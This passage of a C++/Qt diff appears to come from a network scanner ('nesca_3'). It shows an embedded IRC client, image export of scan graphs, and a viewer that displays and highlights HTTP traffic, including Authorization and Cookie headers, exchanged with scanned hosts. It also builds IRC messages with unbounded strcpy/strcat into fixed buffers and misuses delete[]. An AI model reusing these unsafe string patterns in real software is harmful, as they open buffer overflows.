ui->ircRaw->lower(); + }; +}; +void nesca_3::ChangeNick() +{ + strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); + UserNickInit(lSock); + ui->shoutBox->setFocus(); +}; +void nesca_3::CheckPersKey() +{ + emitIfOK = -1; + saveOptions(); + _SaveBackupToFile(); + if(!chKTh->isRunning()) + { + stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + chKTh->start(); + } + else + { + stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + }; +}; +void nesca_3::CheckPersKey(int val = -1) +{ + emitIfOK = val; + saveOptions(); + _SaveBackupToFile(); + if(!chKTh->isRunning()) + { + stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + chKTh->start(); + } + else + { + stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + }; +}; +void _finishNick() +{ + QList ql = ui->nickList->findItems(ui->shoutBox->text(), Qt::MatchStartsWith); + if(ql.size() > 0) + { + ui->shoutBox->setText(ql[0]->text() + ", "); + ui->shoutBox->setFocus(); + }; +}; +bool nesca_3::eventFilter(QObject* obj, QEvent *event) +{ + if (obj == ui->shoutBox) + { + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if (keyEvent->key() == Qt::Key_Up) + { + ui->shoutBox->setText(PhraseLog[PhraseIndex]); + ++PhraseIndex; + if(PhraseIndex >= PhraseLog.size()) PhraseIndex = 0; + return true; + } + else if(keyEvent->key() == Qt::Key_Down) + { + --PhraseIndex; + if(PhraseIndex < 0) PhraseIndex = PhraseLog.size() - 1; + + ui->shoutBox->setText(PhraseLog[PhraseIndex]); + return true; + } + else if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + } + else if(keyEvent->key() == Qt::Key_Tab) + { + _finishNick(); + return true; + }; + }; + return false; + } + else if (obj == ui->ircText) + { + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + }; + } + else if (event->type() == QEvent::KeyRelease) + { + privateMsgFlag = false; + event->accept(); + }; + } + else if (obj == ui->widgetIRC) + { + if(MapWidgetOpened) + { + qwm->raise(); + }; + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + }; + } + else if (event->type() == QEvent::KeyRelease) + { + privateMsgFlag = false; + event->accept(); + }; + } + else + { + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + }; + } + else if(event->type() == QEvent::KeyRelease) + { + privateMsgFlag = false; + event->accept(); + }; + }; +}; +void nesca_3::ChangeTopic() +{ + if(ui->topicLine->text().size() > 0) + { + char temp[2048] = {0}; + + QString strf; + + QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); + strf = codec->toUnicode(ui->topicLine->text().toUtf8()); + strcpy(temp, "TOPIC #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :"); + strncat(temp, strf.toLocal8Bit().data(), 256); + strcat(temp, "\n"); + + sendS(lSock, temp, strlen(temp), 0); + }; +}; +void nesca_3::SaySmthng() +{ + if(ui->shoutBox->text().size() > 0) + { + char temp[2048] = {0}; + globalPinger = 0; + PhraseIndex = 0; + if(PhraseLog.size() > 50) + { + PhraseLog.pop_back(); + if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); + } + else + { + if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); + }; + + if(ui->shoutBox->text() == "/clear" || ui->shoutBox->text() == "clear" || ui->shoutBox->text() == "clr") + { + ui->ircText->clear(); + } + else if(ui->shoutBox->text().contains("/me ")) + { + QString strf; + if(utfIRCFlag) + { + strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); + } + else strf = ui->shoutBox->text(); + + strcpy(temp, "PRIV"); + strcat(temp, "MSG #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :"); + strcat(temp, "ACTION "); + strcat(temp, strf.toLocal8Bit().data() + 3); + strcat(temp, "\n"); + sendS(lSock, temp, strlen(temp), 0); + appendDefaultIRCTextOut("--> " + ui->ircNickBox->text() + " " + strf.mid(3)); + } + else if(ui->shoutBox->text().contains("/w ")) + { + int lBoundary1 = ui->shoutBox->text().indexOf(" "); + int lBoundary2 = ui->shoutBox->text().indexOf(","); + int lBoundary = 0; + if(lBoundary1 == -1) + { + lBoundary = lBoundary2; + } + else if(lBoundary2 == -1) + { + lBoundary = lBoundary1; + } + else if(lBoundary1 > lBoundary2) + { + lBoundary = lBoundary2; + } + else + { + lBoundary = lBoundary1; + }; + QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); + int rBoundary = nickPG.indexOf(" "); + QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); + QString msgP = nickPG.mid(rBoundary + 1); + + QString strf; + if(utfIRCFlag) + { + strf = codec->toUnicode(msgP.toUtf8()); + } + else strf = msgP; + + strcpy(temp, "PRIV"); + strcat(temp, "MSG "); + strcat(temp, nickP.toLocal8Bit().data()); + strcat(temp, " :"); + strcat(temp, strf.toLocal8Bit().data()); + strcat(temp, "\n"); + sendS(lSock, temp, strlen(temp), 0); + sendS(lSock, "PING 0", 6, 0); + + QString rData; + QString rData2; + + if(utfIRCFlag) + { + QString str = codec->toUnicode(msgP.toUtf8()); + rData2 = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + msgP; + ui->ircText->append(rData2); + rData = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + str; + globalIRCText += rData + "\n"; + } + else + { + rData = "[" + QTime::currentTime().toString() + "] [PM -> " + nickP + "]: " + msgP; + ui->ircText->append(rData); + globalIRCText += rData + "\n"; + }; + } + else if(ui->shoutBox->text().contains("/nick ")) + { + int lBoundary = ui->shoutBox->text().indexOf(" "); + + QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); + int rBoundary = nickPG.indexOf(" "); + QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); + + strcpy(temp, "NICK "); + strcat(temp, nickP.toLocal8Bit().data()); + strcat(temp, "\n"); + ui->ircNickBox->setText(nickP); + UserNickInit(lSock); + } + else + { + QString strf; + if(utfIRCFlag) + { + strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); + } + else strf = ui->shoutBox->text(); + if(IRCLogToggled) + { + strcpy(temp, "PRIV"); + strcat(temp, "MSG #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :"); + strcat(temp, strf.toLocal8Bit().data()); + strcat(temp, "\n"); + appendDefaultIRCTextOut("[" + ui->ircNickBox->text() + "]: " + strf); + } + else + { + if(strf.contains("join ")) + { + appendDefaultIRCRawTextOut("[JOIN command is not accepted]"); + ui->shoutBox->clear(); + return; + } + else + { + strcpy(temp, strf.toLocal8Bit().data()); + strcat(temp, "\n"); + }; + }; + + sendS(lSock, temp, strlen(temp), 0); + }; + + ui->shoutBox->clear(); + }; +}; +void nesca_3::slotChangeCPModeToUTF() +{ + utfIRCFlag = true; + ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); + ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); + + QByteArray wtfR = codec->fromUnicode(globalIRCRaw.replace("\n", "
")); + QByteArray wtfT = codec->fromUnicode(globalIRCText.replace("\n", "
")); + ui->ircText->setHtml( QString(wtfT) ); + ui->ircRaw->setHtml( QString(wtfR) ); + ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); + ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); +}; +void nesca_3::slotChangeCPModeTo1251() +{ + utfIRCFlag = false; + ui->IRCCP1251Mode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); + ui->IRCUTFMode->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);color: rgb(71, 71, 71);"); + + ui->ircText->setHtml(globalIRCText.replace("\n", "
")); + ui->ircRaw->setHtml(globalIRCRaw.replace("\n", "
")); + ui->ircText->verticalScrollBar()->setValue(ui->ircText->verticalScrollBar()->maximum()); + ui->ircRaw->verticalScrollBar()->setValue(ui->ircRaw->verticalScrollBar()->maximum()); +}; +void nesca_3::onLinkClicked(QUrl link) +{ + QString lnk = link.toString(); + + if(lnk.contains("nesca:") == 1 && privateMsgFlag == false) + { + ui->shoutBox->setText(ui->shoutBox->text() + lnk.mid(6) + ", "); + ui->shoutBox->setFocus(); + } + else if(lnk.contains("nesca:") == 1 && privateMsgFlag) + { + ui->shoutBox->setText("/w " + lnk.mid(6) + " "); + ui->shoutBox->setFocus(); + } + else + { + QDesktopServices::openUrl(link); + }; +}; +void nesca_3::slotRestartIRC() +{ + ircPTh->terminate(); + globalPinger = 0; + CSSOCKET(lSock); + ircTh->terminate(); + ircTh->start(); +}; +void nesca_3::slotClearLogs() +{ + ui->dataText->clear(); + ui->BAText->clear(); +}; +void nesca_3::slotIRCGetTopic(QString str) +{ + ui->topicLine->setText(str); + QString rData; + rData = "Topic: \"" + str + "\""; + globalIRCText += rData + "\n"; + ui->ircText->append(rData); +}; +//unsigned char jpgHeader[623] = { +// 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60, +// 0x00, 0x60, 0x00, 0x00, 0xFF, 0xDB, 0x00, 0x43, 0x00, 0x02, 0x01, 0x01, 0x02, 0x01, 0x01, 0x02, +// 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x05, 0x03, 0x03, 0x03, 0x03, 0x03, 0x06, 0x04, +// 0x04, 0x03, 0x05, 0x07, 0x06, 0x07, 0x07, 0x07, 0x06, 0x07, 0x07, 0x08, 0x09, 0x0B, 0x09, 0x08, +// 0x08, 0x0A, 0x08, 0x07, 0x07, 0x0A, 0x0D, 0x0A, 0x0A, 0x0B, 0x0C, 0x0C, 0x0C, 0x0C, 0x07, 0x09, +// 0x0E, 0x0F, 0x0D, 0x0C, 0x0E, 0x0B, 0x0C, 0x0C, 0x0C, 0xFF, 0xDB, 0x00, 0x43, 0x01, 0x02, 0x02, +// 0x02, 0x03, 0x03, 0x03, 0x06, 0x03, 0x03, 0x06, 0x0C, 0x08, 0x07, 0x08, 0x0C, 0x0C, 0x0C, 0x0C, +// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, +// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, +// 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0x0C, 0xFF, 0xC0, +// 0x00, 0x11, 0x08, 0x00, 0x64, 0x00, 0x80, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, +// 0x01, 0xFF, 0xC4, 0x00, 0x1F, 0x00, 0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, +// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, +// 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x10, 0x00, 0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03, 0x05, +// 0x05, 0x04, 0x04, 0x00, 0x00, 0x01, 0x7D, 0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21, +// 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07, 0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xA1, 0x08, 0x23, +// 0x42, 0xB1, 0xC1, 0x15, 0x52, 0xD1, 0xF0, 0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0A, 0x16, 0x17, +// 0x18, 0x19, 0x1A, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, +// 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, +// 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, +// 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, +// 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, +// 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, +// 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF1, +// 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFF, 0xC4, 0x00, 0x1F, 0x01, 0x00, 0x03, +// 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, +// 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0xFF, 0xC4, 0x00, 0xB5, 0x11, 0x00, +// 0x02, 0x01, 0x02, 0x04, 0x04, 0x03, 0x04, 0x07, 0x05, 0x04, 0x04, 0x00, 0x01, 0x02, 0x77, 0x00, +// 0x01, 0x02, 0x03, 0x11, 0x04, 0x05, 0x21, 0x31, 0x06, 0x12, 0x41, 0x51, 0x07, 0x61, 0x71, 0x13, +// 0x22, 0x32, 0x81, 0x08, 0x14, 0x42, 0x91, 0xA1, 0xB1, 0xC1, 0x09, 0x23, 0x33, 0x52, 0xF0, 0x15, +// 0x62, 0x72, 0xD1, 0x0A, 0x16, 0x24, 0x34, 0xE1, 0x25, 0xF1, 0x17, 0x18, 0x19, 0x1A, 0x26, 0x27, +// 0x28, 0x29, 0x2A, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, +// 0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, +// 0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, +// 0x89, 0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, +// 0xA7, 0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, +// 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE2, +// 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, +// 0xFA, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00 +//}; +// +int c = 1; + +void nesca_3::slotSaveImage(QAction *qwe) +{ + QObject *smB = this->sender(); + int ci = ui->tabMainWidget->currentIndex(); + QDate QD = QDate::currentDate(); + QTime QT = QTime::currentTime(); + + if(smB == menuPS) + { + if(ME2ScanFlag || VoiceScanFlag) + { + QString fn = QString::number(QD.day()) + "." + QString::number(QD.month()) + "." + QString::number(QD.year()) + "-h" + QString::number(QT.hour()) + ".m" + QString::number(QT.minute()) + "_" + (ME2ScanFlag ? QString("ME2") : QString("Voice")) + "_" + (ci == 0 ? ui->lineEditStartIPDNS->text() : ui->ipLine->text()) + ".png"; + int ax = 27; + int ay = 2; + int w = ui->graphicLog->width() + 30; + int h = ui->graphicLog->height() + 30; + int hOffset = 20; + int spX = -10; + int spY = 108; + int wsp = 40; + int hsp = 70; + if(VoiceScanFlag) + { + hOffset = -60; + spX = 8; + spY = -1; + wsp = 0; + hsp = -3; + }; + QImage image(ui->graphicTextPlacer->width() + 5, ui->graphicTextPlacer->height() + hOffset, QImage::Format_RGB32); + QPainter painter(&image); + image.fill(NULL); + image.fill(QColor(0,0,0)); + sceneTextPlacer->render(&painter, QRect(spX, spY, w + wsp, h + hsp)); + sceneUpper->render(&painter, QRect(ax, ay, w, h)); + sceneVoice->render(&painter, QRect(ax, ay, w, h)); + sceneGraph->render(&painter, QRect(ax, ay + 8, w - 2, h)); + sceneGrid->render(&painter, QRect(ax, ay, w, h)); + sceneGrid2->render(&painter, QRect(ax, ay, w, h)); + + QString filename = QFileDialog::getSaveFileName( + this, + tr("Save image"), + QDir::currentPath() + "/" + fn, + ".png", + &tr("*.png") + ); + if(filename != "") image.save(filename + ".png"); + } + else + { + QString fn = QString::number(QD.day()) + "." + QString::number(QD.month()) + "." + QString::number(QD.year()) + "-h" + QString::number(QT.hour()) + ".m" + QString::number(QT.minute()) + "_" + (PieStatFlag ? "PieStat" : "QOS") + "_"+ (ci == 0 ? ui->lineEditStartIPDNS->text() : ui->ipLine->text()) + ".png"; + QImage image(ui->graphicLog->width(), ui->graphicLog->height(), QImage::Format_ARGB32_Premultiplied); + QPainter painter(&image); + image.fill(NULL); + image.fill(QColor(0,0,0)); + sceneUpper->render(&painter); + sceneVoice->render(&painter); + sceneGraph->render(&painter); + sceneGrid->render(&painter); + sceneGrid2->render(&painter); + + + QString filename = QFileDialog::getSaveFileName( + this, + tr("Save image"), + QDir::currentPath() + "/" + fn, + ".png", + &tr("*.png") + ); + if(filename != "") image.save(filename + ".png"); + }; + }; +}; +void PieStatView::contextMenuEvent(QContextMenuEvent *event) +{ + menuPS = new QMenu; + menuPS->addAction("Save image."); + menuPS->popup(event->globalPos()); + + connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); +}; +QLabel *msgLbl; +QLabel *msgDLbl; +QLabel *msgTLbl; +QLabel *msgNLbl; +void nesca_3::slotUnhidePopup(QString strD = "", QString senderNick = "") +{ + msgWdgt->show(); + QString str; + if(utfIRCFlag) + { + QByteArray wtf = codec->fromUnicode(strD); + str = QString(wtf); + } + else str = strD; + if(msgLbl != NULL) msgLbl->setText(str); + if(msgNLbl != NULL) msgNLbl->setText(senderNick); + if(msgDLbl != NULL) msgDLbl->setText(QTime::currentTime().toString()); +}; +void CreateMsgPopupWidget(QString str = "", QString senderNick = "") +{ + QDesktopWidget desk; + + int px_width = desk.width(); + int px_height = desk.height(); + + msgWdgt = new PopupMsgWidget(); + msgWdgt->setWindowFlags(Qt::FramelessWindowHint|Qt::WindowStaysOnTopHint|Qt::SubWindow); + msgWdgt->setStyleSheet( + "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); border: 1px solid #525252;" + ); + + msgWdgt->setGeometry(px_width - 300, px_height - 100, 300, 100); + + QLabel *msgBLbl = new QLabel(msgWdgt); + msgBLbl->setGeometry(0, 0, 300, 100); + msgBLbl->setStyleSheet( + "background-color: rgba(0, 0, 0, 0);" + ); + msgBLbl->show(); + + msgDLbl = new QLabel(msgWdgt); + msgDLbl->setGeometry(0, 0, 300, 15); + msgDLbl->setStyleSheet( + "background-color: rgba(0, 0, 0, 70);" + ); + msgDLbl->show(); + + msgTLbl = new QLabel(msgWdgt); + msgTLbl->setText("New message"); + msgTLbl->setStyleSheet( + "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" + ); + msgTLbl->show(); + + msgDLbl = new QLabel(msgWdgt); + msgDLbl->setGeometry(249, 0, 300, 15); + msgDLbl->setText(QTime::currentTime().toString()); + msgDLbl->setStyleSheet( + "color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);" + ); + msgDLbl->show(); + + msgLbl = new QLabel(msgWdgt); + msgLbl->setText(str); + msgLbl->setGeometry(10, 10, 290, 100); + msgLbl->setAlignment(Qt::AlignHCenter|Qt::AlignVCenter); + msgLbl->setStyleSheet( + "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;" + ); + msgLbl->show(); + + msgNLbl = new QLabel(msgWdgt); + msgNLbl->setText(senderNick); + msgNLbl->setGeometry(35, 0, 249, 15); + msgNLbl->setAlignment(Qt::AlignHCenter); + msgNLbl->setStyleSheet( + "color: rgb(246, 246, 246);background-color: rgba(2, 2, 2, 0); border:none;font-weight: bold;text-decoration:underline;" + ); + msgNLbl->show(); +}; +QTextBrowser *SendData; +QTextBrowser *RecvData; +void nesca_3::slotShowDataflow() +{ + if(MapWidgetOpened == false) + { + MapWidgetOpened = true; + ui->DataflowModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);"); + qwm = new QWidget(); + qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow); + qwm->setStyleSheet( + "background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));" + "border: 1px solid #616161;"); + + qwm->setGeometry(QMainWindow::x() + ui->widget->width() + 5, QMainWindow::y(), 480, 800); + qwm->show(); + QFont fnt; + fnt.setFamily("Eurostile"); + fnt.setPixelSize(10); + + SendData = new QTextBrowser(qwm); + SendData->setGeometry(5, 5, 470, 370); + SendData->setStyleSheet("color:rgb(150, 150, 150);"); + SendData->setFont(fnt); + SendData->show(); + + RecvData = new QTextBrowser(qwm); + RecvData->setGeometry(5, 380, 470, 414); + RecvData->setStyleSheet("color:rgb(150, 150, 150);"); + RecvData->setFont(fnt); + RecvData->show(); + } + else + { + ui->DataflowModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + delete []SendData; + delete []RecvData; + delete []qwm; + qwm = NULL; + RecvData = NULL; + SendData = NULL; + MapWidgetOpened = false; + }; +}; +QGraphicsPathItem *GiveMeGItem(QVector vAnomLst) +{ + QPolygonF qpf; + QPainterPath path; + for(int i = 0; i < vAnomLst.size(); ++i) + { + qpf.append(vAnomLst[i]); + }; + if(qpf.size() > 0) + { + path.moveTo(qpf[0]); + for(int i = 1; i < qpf.size(); ++i) + { + path.lineTo(qpf[i]); + }; + }; + return new QGraphicsPathItem(path); +}; +void nesca_3::slotVoiceAddLine() +{ + int as = 0; + if(VoiceScanFlag) + { + sceneVoice->clear(); + + for(int i = 1; i < vAlivLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vAlivLst[i - 1] - 1, as, 120 - vAlivLst[i] - 1, penQoS0); + }; + as = 0; + + for(int i = 1; i < vAnomLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vAnomLst[i - 1] - 1, as, 120 - vAnomLst[i] - 1, penQoS1); + }; + as = 0; + + for(int i = 1; i < vWFLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vWFLst[i - 1] - 1, as, 120 - vWFLst[i] - 1, penQoS2); + }; + as = 0; + + for(int i = 1; i < vSuspLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vSuspLst[i - 1] - 1, as, 120 - vSuspLst[i] - 1, penQoS3); + }; + as = 0; + + for(int i = 1; i < vLowlLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vLowlLst[i - 1] - 1, as, 120 - vLowlLst[i] - 1, penQoS4); + }; + as = 0; + + for(int i = 1; i < vBALst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vBALst[i - 1] - 1, as, 120 - vBALst[i] - 1, penQoS5); + }; + as = 0; + + for(int i = 1; i < vOvrlLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vOvrlLst[i - 1], as, 120 - vOvrlLst[i] - 1, penQoS6); + }; + as = 0; + + for(int i = 1; i < vSSHLst.size(); ++i) + { + as += 2; + sceneVoice->addLine(as - 2, 120 - vSSHLst[i - 1], as, 120 - vSSHLst[i] - 1, penQoS7); + }; + }; +}; +void nesca_3::slotShowNicks() +{ + if(ui->nickShowBut->text() == "<") + { + ui->nickShowBut->setText(">"); + ui->nickList->raise(); + GetNicks(); + } + else + { + ui->nickShowBut->setText("<"); + ui->nickList->lower(); + }; +}; +QRegExp _rOutProt(" HTTP/1.\\d+"); +QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); +QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); +void nesca_3::slotOutData(QString ip, QString str) +{ + if(SendData != NULL) + { + _rOutPath.indexIn(str); + QString prot = _rOutPath.cap(0); + if(prot.size() > 0) str.replace(prot, " " + prot + " "); + _rOutHost.indexIn(str); + prot = _rOutHost.cap(1); + if(prot.size() > 0) str.replace(prot, " " + prot + " "); + str.replace("GET ", "GET "); + str.replace("POST ", "POST "); + str.replace("Host: ", "Host: "); + str.replace("Cookie: ", "Cookie: "); + str.replace("Accept:", "Accept:"); + str.replace("Accept-Language:", "Accept-Language:"); + str.replace("Accept-Charset:", "Accept-Charset:"); + str.replace("Accept-Encoding:", "Accept-Encoding:"); + str.replace("User-Agent:", "User-Agent:"); + str.replace("Connection:", "Connection:"); + str.replace("Content-Length:", "Content-Length:"); + str.replace("Authorization:", "Authorization:"); + _rOutProt.indexIn(str); + prot = _rOutProt.cap(0); + if(prot.size() > 0) str.replace(prot, "" + prot + ""); + str.replace("\r\n", "
"); + + SendData->append("[" + ip + "]
" + str + "

"); + }; +}; +QRegExp _rIncProt("HTTP/1.\\d+ "); +QRegExp _rIncHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); +QRegExp _rIncTags1("<.{1,8}>"); +QRegExp _rIncTagsClose("</.{1,8}>"); +QRegExp _rIncTags2("<.{1,8} "); +QRegExp _rIncTags3("/>"); +QRegExp _rIncInnerTags("="((\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\s| )*)""); +QRegExp _rIncScriptTag1("<script>.*</script>"); +QRegExp _rIncScriptTag2("<script .*</script>"); +QRegExp _rIncStyleTag("<style>.*</style>"); + +QRegExp _rIncRN("\r\n(_|-|=|.*)*:"); +void nesca_3::slotIncData(QString ip, QString str) +{ + if(RecvData != NULL) + { + QStringList headNbody = str.split("\r\n\r\n"); + QString tStr; + QString tagRes; + QString prot; + int posTag = 0; + for(int i = 0; i < headNbody.size(); ++i) + { + if(headNbody[i].size() == 0) headNbody.erase(headNbody.begin() + i); + }; + if(headNbody.size() == 0) return; + if(headNbody.size() > 1) + { + str = headNbody[0]; + tStr = str; + + _rIncRN.setMinimal(true); + while ((posTag = _rIncRN.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncRN.cap(0); + if(tagRes.size() > 0) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + str.replace("HTTP/1.1", "HTTP/1.1"); + str.replace("\r\n", "
"); + RecvData->append("[" + ip + "]
[HEAD]
" + str + "

"); + + + + + _rIncTags1.setMinimal(true); + _rIncInnerTags.setMinimal(true); + + RecvData->append("[" + ip + "]
[BODY]
"); + for(int i = 1; i < headNbody.size(); ++i) + { + str = headNbody[i].toHtmlEscaped(); + tStr = str; + + posTag = 0; + while ((posTag = _rIncTags1.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncTags1.cap(0); + if(tagRes.size() > 0) + { + if(tagRes.contains("script") == false && tagRes.contains("style") == false) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + }; + + posTag = 0; + while ((posTag = _rIncTagsClose.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncTagsClose.cap(0); + if(tagRes.size() > 0) + { + if(tagRes.contains("script") == false && tagRes.contains("style") == false) + { + str.replace(tagRes, "" + tagRes + ""); + }; + tStr.replace(tagRes, ""); + }; + }; + + posTag = 0; + while ((posTag = _rIncTags2.indexIn(tStr, posTag)) != -1) + { + tagRes = _rIncTags2.cap(0); + 